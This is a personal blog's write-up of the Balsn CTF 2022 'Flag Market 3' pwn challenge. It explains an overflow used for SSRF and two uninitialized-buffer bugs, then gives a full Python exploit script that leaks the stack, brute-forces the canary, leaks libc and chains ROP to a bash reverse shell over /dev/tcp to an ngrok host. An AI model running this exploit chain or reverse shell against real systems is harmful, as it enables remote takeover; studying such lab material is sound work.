Balsn CTF 2022 - Flag Market Writeup

A very cool challenge that has combined both pwn and web

Flag Market 3

desc

The challenge is running on ubuntu 20.04 with full protection
In the last part we have to get a shell on this Flag Market service

Identify the vulnerabilities

The first bug exists in connection_handler function

    char request[MAX_REQ_BUF] = {};
    char method[MAX_BUF] = {};
    char path[MAX_BUF] = {};
    char port[MAX_BUF] = {};
    char host[MAX_BUF] = {};
    n = sscanf(request, "%s /%s HTTP/1.1", method, path);  

MAX_REQ_BUF is 1024 and MAX_BUF is 384. Therefore we can overflown the path buffer into port and host
This will affect the connection_backend function. We can control what the service connects to
The second bug exists in card_status function

    LONG rv;
    DWORD readersLen;
    DWORD atrLen;
    DWORD pdwState;
    DWORD pdwProtocol;

    readersLen = SCARD_AUTOALLOCATE;
    rv = SCardStatus(*hCard, readersBuf, &readersLen, &pdwState, &pdwProtocol, atrBuf, &atrLen);

The atrLen is uninitialized. We can overflow the atrBuf.
The third bug exists in do_transmit function

    BYTE transmitBuf[MAX_BUF];
    DWORD transmitLen;

    BYTE cmd1[] = { 0x00, 0xA4, 0x04, 0x00, 0x10, 0xCA, 0x44, 0x6F, 0x66, 0xD3, 0x52, 0x89, 0x58, 0xAA, 0x06, 0xC6, 0xEB, 0xF5, 0x57, 0x6B, 0x3E };
    rv = transmit(*hCard, cmd1, sizeof(cmd1), transmitBuf, &transmitLen);
    if (rv != SCARD_S_SUCCESS)
        return rv;
    if (check_transmit(transmitBuf, transmitLen) < 0)
        return -1;

    BYTE cmd2[] = { 0x00, 0xB2, 0x00, 0x00, 0x40 };
    rv = transmit(*hCard, cmd2, sizeof(cmd2), transmitBuf, &transmitLen);
    if (rv != SCARD_S_SUCCESS)
        return rv;
    if (check_transmit(transmitBuf, transmitLen) < 0)
        return -1;

    memcpy(credit, transmitBuf, sizeof(Card));

transmitBuf is uninitialized. So if we dont fill the transmitBuf too much there will be address on stack copied to credit struct.
This can help us leak some address.

Understanding the internal vsmartcard

The important function we have to look into first is SCardStatus:

PCSC_API LONG SCardStatus(SCARDHANDLE hCard, LPSTR mszReaderName, LPDWORD pcchReaderLen, LPDWORD pdwState, LPDWORD pdwProtocol, LPBYTE pbAtr, LPDWORD pcbAtrLen)
{
    LONG r;

    SET_R_TEST( handle2reader(hCard, mszReaderName, pcchReaderLen));
    SET_R_TEST( handle2atr(hCard, pbAtr, pcbAtrLen));

err:
    return r;
}  

It will call handle2atr function, and then this function will call IFDHICCPresence and IFDHGetCapabilities:

    SET_R_TEST( responsecode2long(
                IFDHICCPresence(Lun)));

    SET_R_TEST( autoallocate(pbAtr, pcbAtrLen, MAX_ATR_SIZE, (void **) &atr));

    if (!atr) {
        /* caller wants to have the length */
        *pcbAtrLen = sizeof _atr;
        atr = _atr;
    }

    SET_R_TEST( responsecode2long(
                IFDHGetCapabilities (Lun, TAG_IFD_ATR, pcbAtrLen, atr)));

IFDHICCPresence will call vicc_present:

    switch (vicc_present(ctx[slot])) {
        case 0:
            return IFD_ICC_NOT_PRESENT;
        case 1:
            return IFD_ICC_PRESENT;
        default:
            Log1(PCSC_LOG_ERROR, "Could not get ICC state");
            return IFD_COMMUNICATION_ERROR;
    }

IFDHGetCapabilities will call vicc_getatr:

    size = vicc_getatr(ctx[slot], &atr);

vicc_connect was patched from:

    if (!vicc_connect(ctx, 0, 0) || vicc_getatr(ctx, &atr) <= 0)
        return 0;

to:

    if (!vicc_connect(ctx, 3, 0) || vicc_getatr(ctx, &atr) <= 0)
        return 0;

vicc_connect will create a listening server for vscard reading:

    if(!ctx->hostname) {
            /* server mode, try to accept a client */
            ctx->client_sock = waitforclient(ctx->server_sock, secs, usecs);

It was patched from 0 to 3 to give us time for connection. vicc_getatr as the name suggests get data into the atrBuf:

    vicc_transmit(ctx, VPCD_CTRL_LEN, &i, atr);

vicc_transmit will send a message and as the same time recv data:

        if (apdu_len && apdu)
            r = sendToVICC(ctx, apdu_len, apdu);
        else
            r = 1;

        if (r > 0 && rapdu)
            r = recvFromVICC(ctx, rapdu);

We are more intersted in recvFromVICC, we need to figure out the transfering data protocol:

    /* receive size of message on 2 bytes */
    r = recvall(ctx->client_sock, &size, sizeof size);
    if (r < sizeof size)
        return r;

    size = ntohs(size);

    if (0 != size) {
        p = realloc(*buffer, size);
        if (p == NULL) {
            errno = ENOMEM;
            return -1;
        }
        *buffer = p;
    }

    /* receive message */
    return recvall(ctx->client_sock, *buffer, size);  

The transfering scheme is as follow:

  1. Read the first 2 bytes. This will be the message size.
  2. Read enough bytes with the size received.

Now we should recap SCardStatus do:

  1. Call vicc_connect and vicc_getatr to listen and confirm thats there is a client connecting to.
  2. Call vicc_getatr again to fill the atrBuf
    The last function we have to look into is transmit which is called in do_transmit function:
LONG transmit(SCARDHANDLE hCard, LPCBYTE sendBuf, DWORD sendLen, LPBYTE transmitBuf, DWORD *transmitLen)
{
    LONG rv;
    SCARD_IO_REQUEST pioSendPci;
    DWORD recvLen;
    BYTE recvBuf[MAX_BUF];
    
    recvLen = sizeof(recvBuf);
    rv = SCardTransmit(hCard, &pioSendPci, sendBuf, sendLen, NULL, recvBuf, &recvLen);
    if (rv != SCARD_S_SUCCESS)
        return rv;

    memcpy(transmitBuf, recvBuf, recvLen);
    *transmitLen = recvLen;

    return SCARD_S_SUCCESS;
}

SCardTransmit is very similar to vicc_transmit. So what transmit does is send sendBuf and receive data into recvBuf.
But the received data has to pass a check, the last 2 bytes have to be ‘\x90\x00’:

LONG check_transmit(char* buf, DWORD bufLen)
{
    if (bufLen < 2)
        return -1;
    if (buf[bufLen-2] == '\x90' && buf[bufLen-1] == '\x00')
        return 0;

    return -1;
}

That’s the important part of internal vsmartcard.

Exploiting with SSRF in a pwn challenge

The internal listening port of vscard for vicc_connect is 35963. Because this port is not exposed to the outside, we have to abuse the overflow bug, overwrite the port and host.
-> This will make connect_backend to connect to anything we want

Therefore our plan is:

  1. First connection will send ‘BUY_FLAG /buy_flag HTTP/1.1’, to invoke vicc_connect, this will serve as the server.
  2. Second connection will send request that overflows host and port, makes connect_backend connect to the first connection’s server.
  3. Now our request data in second connection will se sent to first connection’s server.
    Knowing that there are 2 bugs: the overflow atrBuf and uninitialized transmitBuf, this will enable us to trigger these 2 bugs.

The full exploit plan

First because each process is forked, so every child and parent shares the same address and canary.
Therefore we only need to leak once in each process and can be reused later.
Our stages of exploit:

  1. The first stage:
    We want to leak some address through the uninitialized transmitBuf. To do this, in our do_transmit process we will send very little data to fill into transmitBuf.
    This will copy things on stack to credit struct (Sadly there is only stack address)
    Connection 1 will serve as server. Send ‘BUY_FLAG /buy_flag’ + manyA to overflow port and host, affect the connect_backed so after the do_transmit, this credit struct will be send to our remote server to get the leaked address.
    Connecction 2 overflow port and host to connect to connection 1’s server, send very little data to transmitBuf, dont fill it.

  2. The second stage: Leak the canary. Abuse the overflow atrBuf bug, so we will overwrite into canary value byte by byte. We will slowly guess each byte of canary.
    If we receive Internal error that means we ran in to __stack_check_fail, thus thats the wrong value.
    If not, that means we guessed the correct byte of canary.

  3. The third stage: With the canary and stack address, we will overwrite into saved rbp. This will affect the route function.
    Because the credit struct address is saved at [rbp-0x18]. So we can overwrite rbp to somewhere near our initial requestBuf.
    And make a fake stack layout so that we will achieve arbitrary read, with this we will read libc address on the stack.
    connect_backend has to send the data in credit struct to host and port. Port buffer address is at [rbp-0x48], host buffer address is at [rbp-0x40].
    Carefully craft the fake stack layout and we will receive the leak in our remote server.

  4. The last stage:
    ROP then reverse shell.

My messy exploit script

from pwn import *
 

#ip = "127.0.0.1"
#port = 13337
ip = 'flag-market-us.balsnctf.com'
port = 52090

# Our remote server
r_ip = '2.tcp.ngrok.io'
r_port = 16971


'''
FIRST STAGE: Leak stack address through the uninitialized transmitBuf during do_transmit 
which makes the credit structs hold stack address
Due to fork this makes the stack address remains the same
'''
overflow = p16(791, endian='big') + b'''GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA35963AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlocalhost HTTP/1.1'''
req = overflow

atr = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2" # Satisfy the atr check
req += p16(len(atr), endian='big')
req += atr

# Fill very little into the transmitBuf
req += p16(2, endian='big')
req += b"\x90\x00" # To satisfy the check_transmit
req += p16(2, endian='big')
req += b"\x90\x00" # To satisfy the check_transmit


r = remote(f"{ip}", port)
io = remote(f"{ip}", port)

p = process("/bin/nc -lnvp 51235",shell = True)


# Connection io and connection r are communicating with each other
# Connection r will have port and host overflown with our remote server so we will receive the credit struct
req1 = b"BUY_FLAG /" + b"buy_flag".ljust(384,b"A") + str(r_port).encode().ljust(384,b'A') + r_ip.encode() 

r.send(req1)
time.sleep(0.1)
io.sendline(req)
io.close()

p.recvuntil(b"card_number=")

stack_leak = u64(p.recv(6).ljust(8,b'\0'))

log.info("STACK LEAK ADDRESS: " + hex(stack_leak))
r.close()
p.close()


'''
SECOND STAGE:
During the receiving of atrBuf, in the card_status the atrLen is uninitialized which means
we can overflow the atrBuf
Abuse this to overwrite into canary byte by byte, if crash and receive Internal error means wrong valule
If not that means the byte we guessed was correct
Due to fork this canary remains the same.
'''
canary = b'\x00'
for i in range(7):
	for j in range(256):
		tmp = canary + (j).to_bytes(1,byteorder='little')
		req_ = overflow  
		to = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2".ljust(0x28,b'A') + tmp
		req_ += p16(len(to), endian='big')
		req_ += to
		req_ += p16(0x40+2, endian='big')
		req_ += b"A"*0x40 + b"\x90\x00"
		req_ += p16(0x40+2, endian='big')
		req_ += b"A"*0x40 + b"\x90\x00"
		r = remote(f"{ip}", port)
		io = remote(f"{ip}", port)
		r.send('BUY_FLAG /buy_flag HTTP/1.1')
		time.sleep(0.1)
		io.sendline(req_)
		data = r.recvline()
		if b'Error' in data:
			io.close()
			r.close()
			continue
		else:
			io.close()
			r.close()
			canary = tmp
			break
log.info("CANARY: " + hex(int.from_bytes(canary,byteorder='little')))

'''
STAGE THREE:
Leak libc address by overwriting the saved rbp
Makes the rbp such that it will use the address we have in fake_stack_layout for the connect_backend and snprintf
Especially the credit address is at [rbp - 0x18], thus we have arbitrary read
Read libc address on the stack
Similarly to leak stack address our connection r will have port and host overflown to our remote server
'''
rbp = stack_leak + 0xa58
port_addr = stack_leak + 0x3f0
host_addr = port_addr + 0x180

context.log_level = 1
fake_stack_layout = p64(port_addr) + p64(host_addr) + p64(0)*5 + p64(stack_leak - 0x808)

req2 = req1.ljust(800,b'\0') + fake_stack_layout # Connection r will have the fake_stack_layout appended at the end of request
req_ = overflow
to = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2".ljust(0x28,b'A') + canary + p64(rbp)
req_ += p16(len(to), endian='big')
req_ += to
req_ += p16(2, endian='big')
req_ += b"\x90\x00"
req_ += p16(2, endian='big')
req_ += b"\x90\x00"

r = remote(f"{ip}", port)
io = remote(f"{ip}", port)
p = process("/bin/nc -lnvp 51235",shell = True)

r.send(req2)
time.sleep(0.1)
io.sendline(req_)
io.close()

p.recvuntil(b"card_holder=")
p.close()
r.close()

'''
LAST STAGE:
ROP and reverse shell with bash
'''
libc_leak = u64(p.recv(6).ljust(8,b'\0'))
libc_base = libc_leak -  0x92059
log.info("LIBC LEAK ADDRESS: " + hex(libc_leak))
log.info("LIBC BASE ADDRESS: " + hex(libc_base))
system = libc_base + 0x52290
pop_rdi_rbp = libc_base + 0x00000000000248f2

req_ = overflow
to = b"\x3B\xFC\x18\x00\x00\x81\x31\xFE\x45\x80\x73\xC8\x21\x13\x66\x02\x04\x03\x55\x00\x02\xD2".ljust(0x28,b'A') + canary + p64(rbp)
to += p64(pop_rdi_rbp) + p64(stack_leak + 0x70c) + p64(0)
to += p64(system)
req_ += p16(len(to), endian='big')
req_ += to

req_ += p16(2, endian='big')
req_ += b"\x90\x00"
req_ += p16(2, endian='big')
req_ += b"\x90\x00"

r = remote(f"{ip}", port)
io = remote(f"{ip}", port)
p = process("/bin/nc -lnvp 51235",shell = True)
r.send(f"BUY_FLAG /buy_flag HTTP/1.1 bash -c 'bash -i >& /dev/tcp/{r_ip}/{r_port} 0>&1'")
time.sleep(0.1)
io.sendline(req_)
io.close()

p.interactive()

piers

My personal blog on the journey of learning how2pwn


Writeup on Flag Market Challenge

By Piers, 06-09-2022